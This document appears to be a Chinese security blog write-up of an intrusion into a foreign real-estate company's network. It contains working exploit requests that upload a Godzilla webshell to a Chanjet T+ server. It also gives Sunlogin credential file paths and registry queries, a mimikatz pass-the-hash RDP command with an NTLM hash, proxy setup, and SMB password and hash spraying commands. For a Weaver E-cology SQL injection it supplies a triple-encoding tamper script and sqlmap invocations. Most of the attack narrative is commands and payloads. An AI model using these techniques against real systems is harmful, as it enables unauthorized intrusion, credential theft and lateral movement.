現在只對常讀和星標的公眾號才展示大圖推送,建議大家把瀟湘信安“設為星標”,否則可能看不到了!
0x00 前言
對國外某地產公司的一次測試,測試過程中每一步都有阻礙,不像以往的一帆風順,對其中涉及的一些點進行一個簡單的記錄,碼較厚,見諒。
0x01 入口點
通過資產測繪發現一個暢捷通系統,經查詢資料發現一個CNVD-2022-60632的漏洞,發送一個簡單的測試包,發現漏洞存在
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: x.x.x.xContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 ------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="est.aspx"Content-Type: image/jpeg hello word------WebKitFormBoundarywwk2ReqGTj7lNYlt--
開始上傳shell,用哥斯拉生成CShapDynamicPload的馬,cmd執行以下命令,-p為馬子的目錄,test2為生成的馬子的目錄
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p D:\test D:\test2 -fixednames
將馬子和生成的.dll、.complied文件都上傳上去
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 1296Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="test.aspx"Content-Type: image/jpeg
<%@ Page Language="C#"%><%try{string key = "3c6e0b8a9c15224a";byte[] data = new xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/test.aspx.cdcab7d2.compiled"Content-Type: image/jpeg
???<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/infotest.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1Host: xxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 529Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYltAccept-Encoding: gzip, deflate
------WebKitFormBoundarywwk2ReqGTj7lNYltContent-Disposition: form-data; name="File1";filename="../../../bin/App_Web_test.aspx.cdcab7d2"Content-Type: image/jpeg
???<?xml version="1.0" encoding="utf-8"?><preserve resultType="3" virtualPath="/test.aspx" hash="62838a9aa" filehashxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx------WebKitFormBoundarywwk2ReqGTj7lNYlt--
訪問http://xxx.xxx.xxx.xxx/tplus/test.aspx?preload=1,成功上線哥斯拉

查看有360殺軟,還有向日葵遠程桌面

原本想直接讀取向日葵配置文件,通過向日葵直接連接到遠程桌面,但向日葵的配置文件居然是空白的..
向日葵配置文件路徑一般位于以下
綠色版:C:\ProgramData\Oray\SunloginClient\config.ini安裝版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini 注冊表查詢安裝版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo綠色版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo簡約版:reg query HKEY_USERS\.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginLiteInfo
encry_pwd為本機驗證碼,為密文,不可解密fastcode為本機識別碼,為明文
解密腳本
https://github.com/wafinfo/Sunflower_get_Password
其實我還可以上傳本地的向日葵配置文件去覆蓋目標源文件,但這個方法沒試,因為以前試過一次沒成功,好像還跟版本有關,我還是選擇上線到cs再說
因為有360,我隨便上了個免殺,上傳上去執行的時候報了什么 denied,反正不允許執行。最后使用哥斯拉自帶的內存加載pe文件成功上線

0x02 內網
看了下系統是windows server 2012,不能直接抓取明文密碼,查了一下arp表還有不少主機,可惜的是不在域里
開始翻主機,翻到一個數據庫密碼,還是base64的

沒有找到其他有用信息了,還是上fscan來一波,沒想到fscan不僅沒被殺,還能運行?
可以看到兩臺域控,內網其實還是有機子在域里的,得想辦法移到在域的機子里


還有幾臺ssh弱口令,和一臺smb弱口令


內網好多資產可以深入,重點是能橫移到域里面的機子;先弄個代理將流量送到內網去,cs自帶的socks代理是非常難用的,上傳ew,執行的時候還是被denied了
無奈用cs自帶的socks代理試試,不行,無法訪問內網應用;上傳frp、venom等代理工具,執行的時候通通被denied,我尋思你是只允許fscan執行是吧,其他應用通通攔截
轉個會話到msf,使用msf的socks的代理也同樣不行,看來得把殺軟關掉,試了幾個驅動來干掉360都失敗了,試著添加用戶也被攔截了
通過不斷嘗試終于繞過了360,成功添加用戶

打開遠程桌面

雖然打開了遠程桌面,但無論如何都無法連接到遠程桌面,防火墻放行和關閉了都不行,懷疑內網有其他的防護設備。
使用msf進行了一道端口轉發
portfwd add -l 3389 -r 127.0.0.1 -p 3389

但使用新建的用戶登陸時,還是失敗了,提示不能加載用戶的配置文件,懷疑通過這個辦法新建的用戶有問題

server2012默認是不能抓取明文密碼的,雖然修改注冊表可以,但要重啟動靜太大了;試著抓了一下,只抓到了一串hash,拿去解密網站也沒有解開
但是rdp是可以通過hash直接登錄的,使用mimikatz,在win10主機上執行,win7是沒有相關參數的
privilege::debugsekurlsa::pth /user:administrator /domain:WIN-E623EEREKAE /ntlm:e2119365a7ce84de9de6e6ff9bdea690 "/run:mstsc.exe /restrictedadmin"
隨后會彈出一個mstsc窗口,直接點擊登陸就行


成功登陸進來,手動退掉360相關安全防護軟件;現在來執行venom開啟代理就能執行成功了,果然是被360給攔截了,我很好奇他怎么不攔fscan
#服務器執行/admin_linux_x64 -lport 8085 #客戶端執行agent.exe -rhost xxx.xxx.xxx.xxx -rport 8085 goto 1 #進入節點1socks 8050 #開啟socks5代理

配置proxychains.conf,先連接那個幾ssh弱口令看看


關閉歷史命令記錄:空格set +o history,通過history發現了幾個密碼


登錄到數據庫,但數據庫里沒發現什么東西,大部分都是空表


這幾臺linux上也沒有發現什么有價值的東西,把目標轉向其他;
100段還有一臺ms17-010,但打失敗了,另外還有一臺smb的弱口令也死活橫向不過去,什么smbexec、wmiexec甚至ipc鏈接都不行。
索性把那個弱口令和其他收集的密碼來做一個密碼噴灑
ff.exe -h x.x.x.x/16 -m smb -pwdf d.txt

這幾個一個都沒橫向成功,是不是被殺軟攔了?又把這臺機器的hash拿去做了一個噴灑
fscan.exe -h x.x.x.x/16 -m smb2 -user administrator -hash e2119365a7ce84de9de6e6ff9bdea690

噴灑出了3臺,但還是一臺都沒成功;拿出資產結果看看,內網還有4臺sqlserver數據庫,把剛才搜集到的數據庫賬戶密碼拿來做個變形,爆破這4臺數據庫,很遺憾,還是沒一臺成功的。
只能從內網的web資產入手了,篩選了一波web應用,發現了一個爆出來沒多久的漏洞——泛微sql注入漏洞-CNVD-2023-12632
bp掛個上游代理測試一波
a' union select 1,''+(select @@version)+'
payload需要經過3次url編碼,編碼腳本
import osdef main(): clearFlag = "y" while(1): if clearFlag == "y" or clearFlag == "Y": os.system("cls") clearFlag = "" string = input("請輸入需要轉換的字符串 :") for i in range(3): string = encode(string) encode_string = string print("編碼結果為:"+encode_string+"\n")
#編碼def encode(string): encode_string = "" for char in string: encode_char = hex(ord(char)).replace("0x","%") encode_string += encode_char return encode_stringmain()

漏洞確實存在,而且還是mssql數據庫,通過sql注入開啟xp_cmdshell不就拿下了嗎?
使用sqlmap來跑,但payload需要經過3次編碼,編寫sqlmap腳本
def enc_url(payload): encode_string = "" for char in payload: encode_char = hex(ord(char)).replace("0x","%") encode_string += encode_char return encode_string
def tamper(payload,**kwargs): url_encode = payload str_url = "" for i in range(3): url_encode=enc_url(url_encode) str_url = url_encode return str_url
使用sqlmap掛上代理開跑
sqlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 --level 5 -p keyword --risk=2
沒跑出來,使用sqlmap的前綴后綴參數
sqlmap -r ~/sql2.txt --tamper E-Cology-sql.py --dbms=mssql -proxy socks5://x.x.x.x:8050 --random-agent --timeout 10 -p keyword --prefix="a' union select 1,''+(" --suffix=")+'" --level=5 --risk=2
成功跑出來,但在執行--os-shell和--os-cmd時報錯

使用手工來進行操作,sqlserver執行命令的那幾種方法都試了,都無法執行命令。也嘗試了網上一些繞過mssql無法執行命令的方法,都失敗了。
得嘞,路又堵死了,累了,不再深入,干飯。
0x03 總結
總的來說還是比較曲折的,各個環節都被卡殼,比較可惜和疑惑的幾個點:
- 1. 360為何不攔截fscan,其他的通通攔掉,還是說fscan被誰加過變名單?(按理說攔截的是進程鏈,具體不知道作者遇到的是啥情況)
2. 密碼噴灑出來的那幾臺機器,沒一臺能橫向成功的,比較可惜,是殺軟攔截還是其他因素?(大概率是被360、火絨的橫向防護攔截)
系統安全運維
系統安全運維
系統安全運維
安全牛
安全圈
安全圈
合天網安實驗室
LemonSec
一顆小胡椒
HACK學習呀
LemonSec
ChaMd5安全團隊